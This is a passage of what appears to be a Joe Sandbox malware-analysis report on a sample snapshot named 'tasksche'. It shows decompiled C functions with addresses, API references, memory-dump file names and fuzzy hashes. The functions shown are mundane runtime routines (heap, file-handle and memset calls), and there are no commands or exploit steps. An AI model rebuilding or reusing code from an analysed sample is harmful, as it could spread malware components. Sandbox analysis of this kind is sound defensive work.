						if(_t43 >= 0 && (_t43 > 0 || _t33 >= _t21)) {
							_t33 = _t21;
						}
						E0040BAFE( *((intOrPtr*)(_t35 + 8)), _t28, _t35, _t30, _t33);
						_t45 =  *((intOrPtr*)(_t35 + 0x10));
						if(_t45 >= 0 && (_t45 > 0 || _t21 >= 0)) {
							_t21 = _t21 - _t33;
							asm("sbb dword [ebp+0x10], 0x0");
						}
						_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), _t28, _t30,  *((intOrPtr*)(_t35 - 0x18)));
						_t33 = _t17;
						if(_t33 != 0) {
							continue;
						}
						break;
					}
					_pop(_t20);
				}
				_t48 = _t30;
				if(_t30 != 0) {
					_push(_t30);
					_t17 = E0041A506(_t20, _t30, _t33, _t48);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t35 - 0xc));
				return _t17;
			}

0x004071df
0x004071e4
0x004071f6
0x004071fe
0x00407204
0x00407209
0x0040720e
0x00407212
0x00407214
0x00407215
0x00407218
0x0040721f
0x00407222
0x0040722a
0x0040722a
0x00407231
0x00407236
0x0040723a
0x00407242
0x00407244
0x00407244
0x0040724f
0x00407254
0x00407258
0x00000000
0x00000000
0x00000000
0x00407258
0x0040725a
0x0040725a
0x0040725b
0x0040725d
0x0040725f
0x00407260
0x00407265
0x0040726b
0x00407273

APIs

__EH_prolog.LIBCMT ref: 004071E4

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction ID: 0e7476b061c64c38a033d28293548f621ad6c4fedd1d6d7b32e1dff298444af0
Opcode Fuzzy Hash: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction Fuzzy Hash: F611E336D04216A7CB21AE69D881BAF7774AB84724F00427FF910772C0C77CAD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 004155EF Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004155EF(void* __ebx, intOrPtr __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				void* _t39;
				intOrPtr _t61;
				void* _t63;

				_t59 = __edi;
				_t42 = __ebx;
				E0041A4DC(E004298B7, _t63);
				_push(__ecx);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *(_t63 - 4) = 0xa;
				E004152CD(__ecx, 0);
				_t26 =  *((intOrPtr*)(__ecx + 0x4b34));
				_t66 = _t26;
				if(_t26 != 0) {
					_push(_t26); // executed
					E0041A506(__ebx, __edi, __ecx, _t66); // executed
				}
				E004111EB(_t61, _t63,  *((intOrPtr*)(_t61 + 0x14)));
				_push( *((intOrPtr*)(_t61 + 0x20)));
				E0041C89D(_t42, _t59, _t61, _t66); // executed
				_t45 =  *((intOrPtr*)(_t61 + 0x18));
				_t67 =  *((intOrPtr*)(_t61 + 0x18));
				if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
					E00413DED(_t45, _t59, _t63, 3);
				}
				E004129EB(_t61 + 0xe6c4);
				E004129EB(_t61 + 0xe6b4);
				E004129EB(_t61 + 0xe6a4);
				 *(_t63 - 4) = 6;
				E00409756(_t61 + 0xe694);
				 *(_t63 - 4) = 5;
				E0040AB1E(_t61 + 0xe65c, _t67);
				E00411FFB(_t61 + 0xe35c);
				E0041252C(_t61 + 0x4b38);
				E004129EB(_t61 + 0x44);
				E004129EB(_t61 + 0x34);
				E004129EB(_t61 + 0x24);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				_t39 = E00409756(_t61 + 4);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

0x004155ef
0x004155ef
0x004155f4
0x004155f9
0x004155fb
0x004155fd
0x00415602
0x00415609
0x0041560e
0x00415614
0x00415616
0x00415618
0x00415619
0x0041561e
0x00415622
0x00415627
0x0041562a
0x00415630
0x00415633
0x00415635
0x00415639
0x00415639
0x00415644
0x0041564f
0x0041565a
0x00415665
0x00415669
0x00415674
0x00415678
0x00415683
0x0041568e
0x00415696
0x0041569e
0x004156a6
0x004156ab
0x004156b2
0x004156bb
0x004156c3

APIs

__EH_prolog.LIBCMT ref: 004155F4

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFreeH_prologHeapLast___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 2675452811-0
Opcode ID: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction ID: af90cb06349abb904c7e908c808b67ca80216b7905dff4050bf1b7fec03d4104
Opcode Fuzzy Hash: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction Fuzzy Hash: DA117871210740DAC325FF76DA636DBB7B0AF24304F40091EA06B525D2EFB8BA44CA19

Uniqueness

Uniqueness Score: -1.00%

Function 00407150 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407150(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr _t39;
				void* _t41;

				_t44 = __eflags;
				E0041A4DC(E0042968C, _t41);
				_push(__ecx);
				_t39 = __ecx;
				_t25 = __ecx + 0x10;
				 *((intOrPtr*)(_t41 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				E0040B8E3(__ecx + 0x10, __eflags);
				 *(__ecx + 0x444c) =  *(__ecx + 0x444c) & 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				_t35 =  *((intOrPtr*)(_t41 + 8));
				 *((intOrPtr*)(__ecx + 8)) = _t35;
				 *((short*)(__ecx + 0x445c)) = 0;
				 *((short*)(__ecx + 0x545e)) = 0;
				_t21 = E0041A89A(__ecx + 0x10, __edx, _t35, _t44, 0xe6e0, _t33, _t38, _t24);
				 *((intOrPtr*)(_t41 + 8)) = _t21;
				 *((char*)(_t41 - 4)) = 1;
				_t45 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0041768A(_t21, __edx, _t35, _t45, _t25); // executed
				}
				 *((intOrPtr*)(_t39 + 0x4448)) = _t22;
				_t36 =  *((intOrPtr*)(_t35 + 0x7298));
				if(_t36 >= 8) {
					_t36 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x1c)) = _t36;
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t39;
			}

0x00407150
0x00407155
0x0040715a
0x0040715d
0x00407162
0x00407167
0x0040716a
0x0040716c
0x0040716f
0x00407176
0x0040717c
0x0040717f
0x00407187
0x0040718a
0x00407191
0x00407198
0x0040719e
0x004071a1
0x004071a5
0x004071a7
0x004071b3
0x004071b3
0x004071a9
0x004071ac
0x004071ac
0x004071b5
0x004071bb
0x004071c4
0x004071c8
0x004071c8
0x004071cc
0x004071d4
0x004071dc

APIs

__EH_prolog.LIBCMT ref: 00407155

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041768A: __EH_prolog.LIBCMT ref: 0041768F

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction ID: 4fa22713ff1b1cd4263d7298948381a35fc14f9b7bb01a12f51cc5b8ed2a70ee
Opcode Fuzzy Hash: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction Fuzzy Hash: B401ADB2A107009AC7109FAAC44029AF7E9FF94310F00842FE459D3390D7B8A9408B59

Uniqueness

Uniqueness Score: -1.00%

Function 00408E03 Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E03(intOrPtr* __ecx, void* __edx) {
				void* _t19;
				void* _t23;
				void* _t34;
				void* _t38;

				E0041A4DC(E00429705, _t38);
				E0040117B(_t38 - 0x1c, __edx, __ecx);
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *((intOrPtr*)( *__ecx + 0xc))();
				_t19 =  *((intOrPtr*)( *__ecx + 0x10))();
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t38 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t38 - 0x14)),  *((intOrPtr*)(_t38 - 0x10)), 0, 0, 0, 2, _t34, _t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t19;
			}

0x00408e08
0x00408e18
0x00408e1f
0x00408e2b
0x00408e32
0x00408e38
0x00408e4a
0x00408e56
0x00408e5e

APIs

__EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction ID: bd93042bfc1aad2116d0877f42dabf9818625296a81febac24436190ec2c14aa
Opcode Fuzzy Hash: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction Fuzzy Hash: 33F04F35B00214AFD7149F58C889FADB7B5EF48724F208159E912A73D1CB749D008A54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,7468F370,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(E004295E1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004096BC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096BC(intOrPtr __edx, WCHAR* _a4, intOrPtr _a8) {
				void* _t11;
				intOrPtr _t21;

				_t21 = _a8;
				 *((char*)(_t21 + 0x1044)) = 0;
				if(E0040A0A4(_a4) == 0) {
					_t11 = E00409476(__edx, 0xffffffff, _a4, _t21); // executed
					if(_t11 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t11); // executed
					 *(_t21 + 0x1040) =  *(_t21 + 0x1040) & 0x00000000;
					 *((char*)(_t21 + 0x100c)) = E0040901C( *((intOrPtr*)(_t21 + 0x1008)));
					 *((char*)(_t21 + 0x100d)) = E00409034( *((intOrPtr*)(_t21 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x004096bd
0x004096c5
0x004096d3
0x004096e0
0x004096e8
0x00000000
0x00000000
0x004096ec
0x004096f2
0x00409708
0x00409713
0x00000000
0x0040971b
0x004096d5
0x00000000

APIs

Part of subcall function 0040A0A4: _wcspbrk.LIBCMT ref: 0040A0B5

FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004096EC

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction ID: c5db38677187ea9b8dec244fb3c8af9ff7d0a6647eff614e001a313c4cd0766c
Opcode Fuzzy Hash: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction Fuzzy Hash: 21F09635005380ABCA225B658404AC77B945F55365F048A1EB1F9621D7C279545ADB26

Uniqueness

Uniqueness Score: -1.00%

Function 00407074 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00407074(intOrPtr __ecx) {
				void* __edi;
				void* __esi;
				void* _t11;
				void* _t14;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t26;

				E0041A4DC(E0042966D, _t26);
				_push(__ecx);
				_t24 = __ecx;
				 *((intOrPtr*)(_t26 - 0x10)) = __ecx;
				_t21 =  *((intOrPtr*)(__ecx + 0x4448));
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t29 = _t21;
				if(_t21 != 0) {
					E004155EF(_t14, _t21, _t21); // executed
					E0041A4FB(_t14, _t21, __ecx, _t29, _t21); // executed
				}
				_t5 = _t26 - 4;
				 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
				_t11 = E00401001(_t24 + 0x10,  *_t5);
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t11;
			}

0x00407079
0x0040707e
0x00407080
0x00407083
0x00407086
0x0040708c
0x00407090
0x00407092
0x00407096
0x0040709c
0x004070a1
0x004070a2
0x004070a2
0x004070a9
0x004070b3
0x004070bb

APIs

__EH_prolog.LIBCMT ref: 00407079

Part of subcall function 004155EF: __EH_prolog.LIBCMT ref: 004155F4

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction ID: da238740c98ae75ebc3f5927faf798116ad114c2e9bc9b884e51ec1b39bdab83
Opcode Fuzzy Hash: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction Fuzzy Hash: D1E06D32A11610ABC715AB29C4066EEF3B9EFC0728F10422FA062636C1DBB86D418659

Uniqueness

Uniqueness Score: -1.00%

Function 00410DDE Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00410DDE() {
				void* _t2;

				L00411982(); // executed
				_t2 = E0041197C();
				if(_t2 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				if( *0x4335b7 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x00410de0
0x00410de5
0x00410df6
0x00410dfb
0x00410dfb
0x00410e07
0x00410e0c
0x00410e0c
0x00410e13
0x00410e1b

APIs

SetThreadExecutionState.KERNEL32 ref: 00410E13

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction ID: ce8ef4de1523c5d0242b00cb845f3d850d1a93a8e5a83f46045a12d46b5ed054
Opcode Fuzzy Hash: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction Fuzzy Hash: 62D0C23170015022CA213B2B2815BEE56194F81724F0900BFB501622E38EAC09C281EE

Uniqueness

Uniqueness Score: -1.00%

Function 00409720 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409720(void* __ebx, void* __ecx, char _a4) {
				void* __edi;
				intOrPtr _t7;
				void* _t11;
				void* _t12;
				void* _t15;

				_t18 = _a4;
				_t15 = __ecx;
				 *((char*)(__ecx + 8)) = 0;
				if(_a4 == 0) {
					_t4 = __ecx + 0xc;
					 *_t4 =  *(__ecx + 0xc) & 0x00000000;
					__eflags =  *_t4;
				} else {
					_t7 = E0041A0EA(__ebx, _t11, 0x8003, _t18, 0x8003, _t12); // executed
					 *((intOrPtr*)(_t15 + 0xc)) = _t7;
					E0041A820(0x8003, _t7, 0, 0x8003);
				}
				return _t15;
			}

0x00409720
0x00409726
0x00409728
0x0040972c
0x0040974c
0x0040974c
0x0040974c
0x0040972e
0x00409735
0x0040973e
0x00409741
0x00409749
0x00409753

APIs

_memset.LIBCMT ref: 00409741

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction ID: 57c48ace6bef99692c10c7cc37c4410ce12e8001caaa4568d5ee7d388360cf58
Opcode Fuzzy Hash: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction Fuzzy Hash: D7E0CD729053406AD371751D9C04F579AD85B95725F14C82FB089A32C3C1BC5C51C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
